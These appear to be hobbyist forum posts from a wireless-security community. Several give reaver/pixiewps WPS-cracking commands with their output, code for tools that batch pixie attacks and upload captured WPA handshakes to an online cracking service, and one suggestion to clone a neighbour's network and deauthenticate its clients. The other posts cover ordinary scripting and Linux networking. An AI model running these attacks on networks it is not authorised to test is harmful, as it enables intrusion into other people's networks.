AlfAlfa

I'll second that about trust. Never delegate your trust out to a third party, as in that very moment you do, that third party immediately and instantaneously becomes untrustworthy. You decide what / who you will trust or will not! Yea, apple can go #$@* %&^!

Nice! I now realize I wasn't even using the latest versions of reaver and pixiewps... Grabbed the latest both updated about a month ago from github, and after the make installs I had to copy reaver and pixiewps to /usr/bin/ as it only copied them to /usr/local/bin and then I was able to execute them outside in the directory they were compiled in. That's sorted now and the newer versions work great! Now maybe I'll be able to tackle that one tricky AP that was giving me the wps pin, but strangely would never give me the actual wpa passphrase, it would just give me the pin again. Later though, I've tried a simple test for now: reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -c 1 -vvv -K 1 -H Reaver v1.5.2 WiFi Protected Setup Attack Tool Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com> mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 & Wiire & kib0rg ... .... [*] Saving collected data in: XXXXXXXXXXXX.pixie [+] Running pixiewps with the information, wait ... [Pixie-Dust] [Pixie-Dust] Pixiewps 1.2 [Pixie-Dust] [Pixie-Dust] [*] Mode: 3 (RTL819x) [Pixie-Dust] [*] PSK1: Checking the .pixie file I see that it along with copying the pixie data commented out, the last line contains the built command. So my idea to improve the quickpixie application is to make it so if the input file passed in has a .pixie extension: Either grab the last line and execute it, or just execute the .sh file itself (though I'm not sure I'll be able to execute it even from my application without setting it executable first, so I may just grab the line from it if that's easier or quicker) Then I could perhaps add a new option "-pd" / "--pixiedirectory [directory containing pixie files or text files containing the pixie info]" So that way it will execute all pixie files in a certain directory, and/or generate pixie commands from text files in that certain directory. I might also have to add a "-pe" / "--pixie-extensions [ext1 ext2 etc] so it only will operate on files within that directory of a certain extension, or * for all extensions same as omitting the -pe option... Therefore it won't look into files that aren't pixie related if they happen to be in the directory where your pixie data files are! Alright I've got some good improvements to work on :) EDIT: Version 1.1 is now live! I've made the improvements stated above, however I didn't extensively test it, but from my various tests that I did do, it seems to be working correctly. I ended up going with the set .pixie file executable, and then directly execute it as that was both quicker and easier. Now it is a lot more versatile! A couple tests: Full path specified and no extension filtering... Alf@UNKNOWN:~/codeblocks/quickpixie/bin/Release$ ./quickpixie -pd /home/Alf/codeblocks/quickpixie/bin/ -v quickpixie 1.1 ~ AlfAlfa Using Extensions:{ *.* } Parsing file for pixie data: /home/Alf/codeblocks/quickpixie/bin/Release/blank.txt Parsing file for pixie data: /home/Alf/codeblocks/quickpixie/bin/Release/subdir/nonpixie.bin Executing pixie file: /home/Alf/codeblocks/quickpixie/bin/Release/subdir/test2.pixie Pixiewps 1.2 [*] Mode: 3 (RTL819x) [*] PSK1: XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX [*] PSK2: XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX [*] E-S1: XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX [*] E-S2: XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX [+] WPS pin: XXXXXXXX [*] Time taken: 0 s 20 ms Parsing file for pixie data: /home/Alf/codeblocks/quickpixie/bin/Release/subdir/nonpixie-textfile.txt Parsing file for pixie data: /home/Alf/codeblocks/quickpixie/bin/Release/multi-pixie.txt {1} pixiewps -e XX:XX:XX:XX:XX:XX: snip--> Relative path specified and .pixie and .txt extension filtering... Alf@UNKNOWN:~/codeblocks/quickpixie/bin/Release$ ./quickpixie -pd . -pe pixie txt -v quickpixie 1.1 ~ AlfAlfa Filtering by extensions: { *.pixie, *.txt } Parsing file for pixie data: ./blank.txt Executing pixie file: ./executethis.pixie Pixiewps 1.2 [*] Mode: 3 (RTL819x) [*] PSK1: XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX [*] PSK2: XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX [*] E-S1: XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX [*] E-S2: XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX [+] WPS pin: XXXXXXXX [*] Time taken: 0 s 20 ms Parsing file for pixie data: ./test.txt {1} pixiewps -e <-- snip --> -v 3 Pixiewps 1.2 [*] Mode: 1 (RT/MT) [*] PSK1: XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX [*] PSK2: XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX [*] E-S1: XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX [*] E-S2: XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX [+] WPS pin: XXXXXXXX [*] Time taken: 0 s 10 ms {2} pixiewps -e XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX:XX snip-->

Thanks DataHead! I knew someone would like this little application. As for the -H option I hadn't even realized that existed. I presume that's because it doesn't appear in the help output from reaver. Am I on the right version which has that option? Reaver v1.5.2 WiFi Protected Setup Attack Tool Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com> mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212 I should just try it, perhaps the usage information just wasn't updated but that -H switch is actually usable!

Okay let me clarify the first thing, I didn't mean for the commander to identify with the nickserv, yes that would be unnecessary and wouldn't help anything. I meant that it should only accept the commands from a certain nick, and you agree that it's a good next course of action to improve upon this current build, and it is the nick you use to actually send the commands to commander that I was talking about that should be registered and SSL'd. As for that certificate, thanks now I know what the proper certificate should look like and I've set it to accept that certificate.

This is a cool idea, and I like it. Now with the latest update, I approve of it for use. Doesn't standard IRC on port 6667 go over the air completely in plaintext? So even if you password protected your nick, and only allowed your nick to send commands that it would accept, wouldn't you still be sending your password over in plaintext whenever you login with the nickserv? The hak5 irc does support SSLv3/TLSv1 on port 6697 and I think that's how I'm going to start using it. This way at least when you send your password to login to your nick it'll be over SSL, even though the things you say on it will become public. The certificate comes up as not valid though, does this look good though and should it be trusted?: * Looking up irc.hak5.org * Connecting to irc.vhirc.net (151.80.80.78) port 6697... * * Subject: /CN=fr01.vhirc.net/OU=Server Admins/O=VHirc/L=Earth/ST=Earth/C=XZ * * Issuer: /CN=fr01.vhirc.net/OU=Server Admins/O=VHirc/L=Earth/ST=Earth/C=XZ * * Subject: /CN=fr01.vhirc.net/OU=Server Admins/O=VHirc/L=Earth/ST=Earth/C=XZ * * Issuer: /CN=fr01.vhirc.net/OU=Server Admins/O=VHirc/L=Earth/ST=Earth/C=XZ * * Certification info: * Subject: * CN=fr01.vhirc.net * OU=Server Admins * O=VHirc * L=Earth * ST=Earth * C=XZ * Issuer: * CN=fr01.vhirc.net * OU=Server Admins * O=VHirc * L=Earth * ST=Earth * C=XZ * Public key algorithm: rsaEncryption (2048 bits) * Sign algorithm sha256WithRSAEncryption * Valid since Jan 31 16:57:09 2016 GMT to Jan 30 16:57:09 2017 GMT * * Cipher info: * Version: TLSv1/SSLv3, cipher ECDHE-RSA-AES256-GCM-SHA (256 bits) * Connection failed. Error: unable to verify the first certificate.? (21) It does look like you are restricting it to accept the commands only from a certain nick, is that correct? If so that is a good way to secure this I think, and only set it to accept the nick that's yours that you have registered and login to over the SSL port. "they can /WHOIS and find it, and execute any of the commands you set" How is that? If your commander connects to the hak5 irc, and looks for the commands there in your chosen channel and for a certain nick only? Only unless the hak5 irc is compromised, or where your pineapple is connecting to it from has the dns redirect to their own evil irc server? Oh wait a minute the nick isn't for who the commands to accept are from, it's the nick of this commander module connected to the irc instead... Make it so it only will take commands from a certain nick, then with the above mentioned practice (only use your registered nick over SSL) it should be secure already. :)

Yes haze I think that's going to have to be good enough. Since it's ActiveX it only works in IE is that correct? In any case of this working the javascript will have to call out to a plugin or extension of some sort since js can't save files directly without a download prompt and the user would have to know where to save it, or with a suppressed prompt it would just save to their downloads folder and not be put in the right place. Are the double slashes needed because that's what it expects when saving to a network location, or is it simply because the ActiveX plugin is written in C/C++ where backslashes need to be doubled because they need to be escaped? I think that might be the case. Example: for windows code I have to make sure to have the double backslashes in paths //win string winPath = "C:\\Users\\Alf\\Documents\\file.csv"; //lin string linPath = "~/Documents/file.csv"; If the above is the reason for the double blackslashes I wouldn't blame activex even though yes I agree haha it should just go away already, along with flash!! (however it is helping haze here in one of these last dieing use cases) I would blame Windows for choosing to go with blackslashes for paths rather than the way cooler forward slashes /. Did they do that just to be different? Anyway I don't mean to hijack this thread, but it's already solved pretty much, but I have a small forward slash / back slash \ dilemma here: How should I handle paths in a multiplatform application namely windows Vs everything else... I have two solutions and which one do you think would be best? 1. Check if the platform is Windows and if so set a slashType variable to "\\" (double backslash / escaped blackslash) else set it to "/" (single forwardslash) then in each path I create I would have to append that variable in place of where there would be slashes which would kind of be a bit of a hassle. Ex. (string filePath = appDir + slashType + fileDir + slashType + fileName + ".csv";) 2. Create a correctSlashes function / class member that will just either modify the string or return a new string with the proper slashes depending on the platform the application is running on. So if platform is linux the function will go through the entire string and replace a double backslash with forward slashes or if it's Windows it will replace forward slashes with double backslashes. I'm thinking the second option is better. However maybe there's already something that does this built in to the standard library or the dev environment I'm using, so I'd want to use that if there is. What do you guys think I should do, or know of an already existing way that handles this?

You're welcome challanger! :) As for hostapd running automatically at boot, I don't experience that at least I don't think so... Perhaps it's a hidden config somewhere to auto start it, that isn't present for me. For killing a process in a single line, there are many similar ways, here's one: kill $(ps ax | grep -i hostapd | grep -v grep | awk '{print $1}') it executes: ps ax | grep -i hostapd | grep -v grep | awk '{print $1}' which gives just the pid of the process and passes that to kill. Also there's pkill which is shorter: pkill hostapd Finally unless your "neighbor's" network is open, that isn't going to work. A stored network configuration wont automatically connect to an AP that purports to be exactly the same name and bssid if the security doesn't match. If it's open though yes that can work! Or if you happen to be able to learn the WPA passphrase, you could duplicate the network entirely if it's secured and deauth the client(s) from it and make them switch over to your version of that network :)

Place "QString command;" at the top near your "int i;" or somewhere you can access it from your button clicked function. Then: int returnValue = system(command.toUtf8()); //or int returnValue = system(command.toStdString().c_string()); //which gets an std::string from it, then calls c_string() of it... toUtf8() is like c_string() of an std::string Like Cooper has mentioned though, I would also recommend using a different method. fork() and execve() is one way, I did it a little different for quickpixie though, where I treated running the command as if it were a file, with my ProcessExecutor class. Note it doesn't work on windows though since windows doesn't allow you to treat a command as a pipe and pipe as a file, but works on pretty much every other platform. So it's maybe not the best way since Qt is supposed to be for cross platform development, but you could check for windows and do it differently there, it's not too much trickier but I don't remember exactly how I did it before on windows... I used allocConsoleWindow I think and wrote to it that way. You have to include the <memory> header, and also add c+11 to CONFIG of your .pro file: so if it's like "CONFIG += mobility" add it to the end like "CONFIG += mobility c++11" #include <memory> class ProcessExecutor { private: static std::unique_ptr<ProcessExecutor> mainInstance; public: FILE *file; std::string output; char buffer[4096]; ProcessExecutor() { memset(buffer, 0, sizeof(buffer)); } static std::unique_ptr<ProcessExecutor> make() { return std::unique_ptr<ProcessExecutor>(new ProcessExecutor()); } static ProcessExecutor *get() { if(!mainInstance.get()) mainInstance = make(); return mainInstance.get(); } int run(const char *cmd) { file = popen(cmd,"r"); if(!file) return 1; output.clear(); while(fgets(buffer, sizeof(buffer), file) != 0) { output += buffer; } pclose(file); return 0; } }; std::unique_ptr<ProcessExecutor> ProcessExecutor::mainInstance; void MainWindow::on_pushButton_clicked() { QString qs = "ls -lah"; ProcessExecutor *pe = ProcessExecutor::get(); pe->run(qs.toUtf8()); QString qs2 = qs.fromStdString(pe->output); ui->textEdit->setText(qs2); } Output into a text edit box I used as an example, is the result of running that command... In this case a simple file listing of the current directory. EDIT: To clarify, the only needed code not including the smart pointer and singleton convenience code is as follows: class ProcessExecutor { public: FILE *file; QString output; char buffer[4096]; ProcessExecutor() { memset(buffer, 0, sizeof(buffer)); } int run(const char *cmd) { file = popen(cmd,"r"); if(!file) return 1; output.clear(); while(fgets(buffer, sizeof(buffer), file) != 0) { output += buffer; } pclose(file); return 0; } }; And we might as well make the "output" variable of it a QString since we're using Qt here... ^^ Lastly without the convenience code, you need to manually delete the allocated process executor object... You won't however need the C++11 features or <memory> header. QString cmd = "ls -lah"; ProcessExecutor *proc = new ProcessExecutor(); if(proc) { proc->run(cmd.toUtf8()); ui->textEdit->setText(proc->output); delete proc; }

Fair enough! I've added that information to my original post. Looks like Cooper's done it again folks

Thanks Cooper! I feel a little bit silly now seeing that rm -i already does this. However not entirely, because it doesn't then have a way to skip the prompt(s) at the last argument when you know it's what you want.(not without back arrowing and backspacing the -i) The idea is that once you get to the end of typing your line, you know you haven't accidentally hit enter at that point and can just add the -y to still just do it without anything more of you. In the script '-y' has to be the last argument! (or it'll be passed to rm and that isn't a valid switch for rm) I didn't want the confirmation prompts always since I thought that would be a little annoying and I'd end up just using rm... All in all this is still a little bit better than the setting an alias and adding it to ~/.bashrc! Thanks though as I've made my script a bit shorter now.

I found this post here: https://forums.hak5.org/index.php?/topic/32757-life-saving-script/ Then today I was thinking about it, and thought of a way to possibly prevent having to use a script like that. So I wrote this simple bash script which you can use instead of rm and it will force you to confirm whether you really want to execute that command or not: Or you can skip the prompt after typing it correctly by having "-y" as the last argument! #!/bin/bash #AlfAlfa ~ saferm (safe remove, another life saving script! {shortened thanks to Cooper}) array=($@) len=${#array[@]} lastarg=${array[$len-1]} args=${array[@]:0:$len-1} if [[ $lastarg == '-y' ]]; then rm $args else rm -i $args $lastarg fi exit Since typos and accidentally hitting enter when you didn't mean to can happen, I think this is a good safeguard to make sure you really typed the command you wanted before actually going through with the removal! Make it executable and copy it to /usr/bin or a similar directory so that you can execute it from anywhere. Then use it like: saferm /file/to/remove.txt (Upon hitting enter it will ask you to confirm and you have to hit y to confirm) Or like: saferm -R /directory/and/files/to/remove -y (the '-y' at the end like with apt-get will confirm without the prompt, and you're unlikely to type that after a bad command by accident) EDIT: Thanks to Cooper it is now a bit shorter and better and also theres an easier way! Since rm -i already does the prompt, and better because it gives you more information about the operation that's about to take place, and prompts for individual files that it's about to remove. Alternative method: alias saferm "rm -i" or alias saferm "rm -I" Add that to your ~/.bashrc or ~/.bash_aliases with whatever you want to call the alias even 'rm' to super impose that over rm... Then when you use it, add an "-f" at the end of the line to skip the prompt(s) like "-y" from my version.

What about airmon-ng chiappa? Have you tried that, does it also fail to set monitor mode? airmon-ng start wlan1 I usually use that, as it's one command instead of three (bringing the device down, setting monitor, and bringing it back up) Plus on kali it makes it wlan1mon instead of just wlan1... Not sure if there's any benefit to that, but there is a benefit to running airmon-ng start multiple times on the device to create multiple virtual interfaces where you could monitor multiple channels with a single device. It really just channel hops on the device level, but it can be useful sometimes!

Whoaaa! Now that's what I'm talking about! I knew I was holding out on getting my pineapple for a good reason, this is it! DUAL BAND! Excellent work guys! I have to agree with Mr-Protocol! WOOT! WOOT!

That makes sense as well...So it is trying to protect the user's clipboard, well unsuccessfully though as that's a simple workaround! lol Take that m1crosh4ft!! :D haha

It sure does, and Kali tastes gooood! lol. I dumped my previous linux os for a full install of Kali, and it's been the best decision ever! :D

Well I'm thinking it's not that it's intentionally prevented or blocked, but just the fact that it is a lower level process which doesn't have access to win32 gui stuff, like the clipboard. You have to provide a way around it like you have, to reach over into win32 gui land. It's kind of like how with trying to execute a gui application through php's "exec" function can't and wont work! When I've had to do that you have to work around it (in that case I had a gui application running with a pipe or socket open, then through the php code send it what gui application to run and then have it execute it instead of php directly executing it) I know a little off track here but it is a similar issue. Perhaps if you build a kernel driver or some deeper system calls could get you through to the clipboard without the extra dll injecting step! Like even debugging the clipboard apis and see what lower level apis they use could also get you through.

Yea that wouldn't be any fun though, plus I'm guessing it's probably written in python or something, I wanted to do it in C++ and see what I came up with. I suppose now that I've done it I could look and compare and see if they did it better or if I did... I cheated a little bit though, I reproduced the pages to receive posted data and got everything working testing on a local apache server, then once I got everything pretty solid, I did the real test, and it worked! (since I didn't want to be uploading tons of files and I don't have that many anyway so I kind of had to get it right the first time, which I did!) EDIT: lol it seems I guessed right, first result is python lol Note quite, but with my tool that I built for linux that I'm going to make into a pineapple module when the API comes out and I learn how to cross compile for it, you can run this simple command: uploadwpa -e youremail@whatever.com -c /path/to/wpahandshake.cap or uploadwpa -e blah@blah.com -a hash1 hash2 hash3 etc up to 10 hashes for the other hashes the site supports Yep it sure was simple enough alright! I used unix sockets (with Beej's networking guide for reference, and borrowed urlEncoding+urlDecoding functions from stackoverflow, and whipped up a quick and simple http client) Enter the command and blink! The email appears with a link to the status of the job! Written in C++ using codeblocks, and there's only three simple files-> uploadwpa.cpp: QuickHTTPClient.hpp: QuickHTTPClient.cpp: Create all three files in some directory... Open up a terminal, cd to that location, then run: g++ -std=c++0x uploadwpa.cpp QuickHTTPClient.cpp -o uploadwpa Then you can run it: ./uploadwpa -h (this prints out the help screen (also with no parameters does as well)) root@UNKNOWN:/home/Alf/codeblocks/uploadwpa/bin/Release# ./uploadwpa -h uploadwpa 1.0 ~ AlfAlfa This module will upload a wpa handshake from a single capture file to www.onlinehashcrack.com or you can give it up to 10 hashes seperated by spaces and of any hashes the site supports Usage: {Send WPA Handshake:} uploadwpa -e youremail@yourdomain.com -c myaccesspoint.cap uploadwpa -e email@yourdomain.com -c ~/captures/myaccesspoint.hccap -u "A Custom User Agent" {Send up to 10 hashes at once of hashes supported by the site:} uploadwpa -e youremail@yourdomain.com -a hash1 hash2 hash3 hash4 hash5 hash6 hash7 hash8 hash9 hash10 {Send both sequentially:} uploadwpa -e example@example.com -a hash1 etc etc -c /path/to/capture.cap EDIT: Just added the ability to use a custom user agent with the -u or --user-agent switch if you don't specify one it just uses kali linux's Iceweasel user agent string. This is so we don't necessarily all have to look the same and you can appear to be a different user agent if you want! Yee hee!

I'm not sure that you can... Have you tried playing around with the arguments though? For picky accesspoints I've found -N for no nacks helps, and increasing delays. Even the -n for other nack related... Maybe -w act like a windows registrar... I know I've had that feeling too that, maybe it is is getting it, just not telling me... However when changing it to the correct pin, and it's still failing, well maybe the access point is being clever or something... I've also noticed sometimes you have to manually associate with aireplay-ng as for some reason reaver itself has trouble associating with certain APs... Basically exhaust all possibilities with the switches!

I agree with Cooper on this, when I unlocked the crda to unlock the NHA from GB (20dbm) I initially tested 30dbm (in controlled environment) for a bit, then changed to US to be legal about it and use 27dbm... I found that 27dbm actually does seem to work even better! (and much better than the silly Great Britain locked down 20dbm) So I certainly see what Cooper is saying. Upping to 30dbm might help you catch that really far network and be able to communicate with it, but networks that are closer and don't need that high level of transmission will get clouded out by it and it will only hinder you rather than help you! Plus keep it legal, use the proper levels for your country! Just remember louder isn't always better, because "The quieter you become, the more you are able to hear"

Awesome! You got it! So it turns out a system level service process can't access the clipboard with those APIs... Injecting a dll containing the code into a regular user process does work though. Good to know.

-a for "all" I think is what it stands for... It'll show all interfaces even the ones that are down. So you seeing all the same well, is because all of your interfaces were up at the time you ran it !

You can just call me Alf! Alfa is the company's name of wifi devices I like, and Alf is my name :) Cool that it worked to help you, as it did for me, since I may not have even figured out how to do it yet and you got me to "get around to it" faster! lol... As for hostapd not starting properly, after you restarted did you make sure you stopped NetworkManager AND the wpa_supplicant instance that it spawns? You can't just kill wpa_supplicant as network manager will launch it again to do what it needs to do, and you can't just kill network manager because it will leave a hanging running wpa_supplicant that it created... It is also possible that nl80211 isn't the right driver for your device, but since it worked initially I doubt that's it... Actually you could figure it out easily by seeing what the network manager or ifup runs it as... do: ps ax And if you see network manager and/or wpa_supplicant you can see the driver it passes in the -D parameter of wpa_supplicant. "wext" seems to be a generic "wireless extensions" one you could try, there are others named differently depending on device and device drivers. If you do see the network manager stop it: (or just know that it launches automatically on boot, and that you have to stop it) systemctl stop NetworkManager systemctl stop wpa_supplicant or I think even service NetworkManager stop service wpa_supplicant stop is another way to write it... Another note: if you used ifup method b. instead of manually running wpa_supplicant and dhcp client to get IP, it's better because if you lose connection it'll automatically reconnect kind of like network manager would do, whereas dhcp getting an IP wont automatically get another one if your dropped and lose the one you had. You'd have to have some code running in a loop that somehow checks to see if your not connected anymore then re-runs dhclient or udhcpc again. That's kind of a hassle to implement and so I just use ifup and ifdown as my way of not having to write that code since it's already written there, and probably better than I would do it. When doing it like that though I've noticed Network Manager can't seem to make use of the interface anymore since it relinquishes it's control to ifup, I'm pretty sure anyway. So I've mostly stopped using network manager altogether! :) Oh and a final thing I know I said skip every line after "iface wlan1 inet dhcp" if using the /etc/network/interfaces edit method (ifup and ifdown) but I think "wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf" should stay so really the lines after that is what I meant to stick with dhcp instead of manual ip config. Plus you can add multiple wpa networks to your supplicant .conf to roam networks as you leave the signal area of one access point and enter another.

Thanks Seb! Yes that won't be an issue shipping the source code to be hosted and compiled by you guys is perfect! I'm glad native modules are supported, I much prefer writing native code but I guess I could also play around with JS as well! I know PHP too, so a JS interface for a PHP API should be fun also Now I just need to get my Pineapple! Which I'm definitely going to now (real soon), and it seems like I'm just at the right time when things are taking off!

[uPDATE -> latest post, posted here] I had to get caught up in my other work, but I finally got uploadwpa2 into a state that it has been much improved and is a worthy update! The main difference is adding SSL support, but also switching from hard coded specialized functions which would have to be coded for each site and re-done if the site changed, to a json config file with the default config stored at ~/.uploadwpa2/sites.cfg It's a pretty simple format, and should be able to be configured for most sites except that require a logged in session or captcha. (maybe future features) So with the standard openwrt sdk now I'm fairly sure I got the packaging right this time, so check the package out or it can be just built from source again. additional dependencies: +libopenssl +libcrypto makefile has been updated. "I cant put enough emphasis on this, this is not an official package provided from the hak5 team, and there for is NOT supported by them. Until if and or when they add it into their official repos, and you download it from their official repos, this is all installed at YOUR OWN RISK. so using this provided ipk, do not go to the hak5 team for support for which are not officially provided by them. i also hold no responsibility for any damage or for your usage that may occur, i can provide the sources and installable ipk, and can give you my word that their is no malicious code added to this ipk, it is clean and has no infection. it is your choice and responsibility if you want to use them or not." You've been warned, now here is the goods :) --------------------------------------------------------------------------------------------------------------- IPK: http://www.filedropp...loadwpa21ar71xx http://www.speedysha...a2-1-ar71xx.ipk Source: https://github.com/Alf-Alfa/uploadwpa EDIT: I've just realized I completely overlooked the javascript and php side of things, I'll have to flesh it out with support for the newer features. Like being able to give it more than 10 hashes at a time (you just configure how many hashes it accepts per post) and it sends out as many post requests as necessary to complete the job. (example of one new feature) Yea that doesn't sound too bad it's not even using TLS/SSL! Should be a sinch :) Just GET / HTTP/1.1 Host: onlinehashcrack.com Then a POST /wifi-wpa-rsna-psk-crack.php HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://www.onlinehashcrack.com/ Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------12414623831213293040140603178 Content-Length: 4571534 -----------------------------12414623831213293040140603178 Content-Disposition: form-data; name="emailWpa" youremail@yourdomain.com -----------------------------12414623831213293040140603178 Content-Disposition: form-data; name="wpaFile"; filename="capturefile.cap" Content-Type: application/vnd.tcpdump.pcap ----- data goes here ---- \r\n\r\n Then ungzip the response and check that it was successfully uploaded or just assume it was and see if you get an email :) Also do the hash form as well, or instead if it's easier: (where you can enter up to 10 hashes instead of a capture file, can you write a WPA handshake like that though?) POST /hash-cracking.php HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5. ---yada yada--- textareaHashes=hash-1\r\nhash-2\r\nhash-3\r\netc-etc-etc&emailHashes=youremail@yourdomain \r\n\r\n Yeehee!

Yes in another thread Seb said python is what's available when someone asked about ruby which isn't... However couldn't you also develop them in a compiled language instead of interpreted as well? Like perhaps even if it has to have a python front end to make use of the compiled application, like in say C++? I'll make a module or two also if I can code them in C++! Anyone to clarify? Yes I realize you could just probably compile a binary on it or cross-compile for it's architecture and it wouldn't even need to be a module, but would it be acceptable to build a module that way?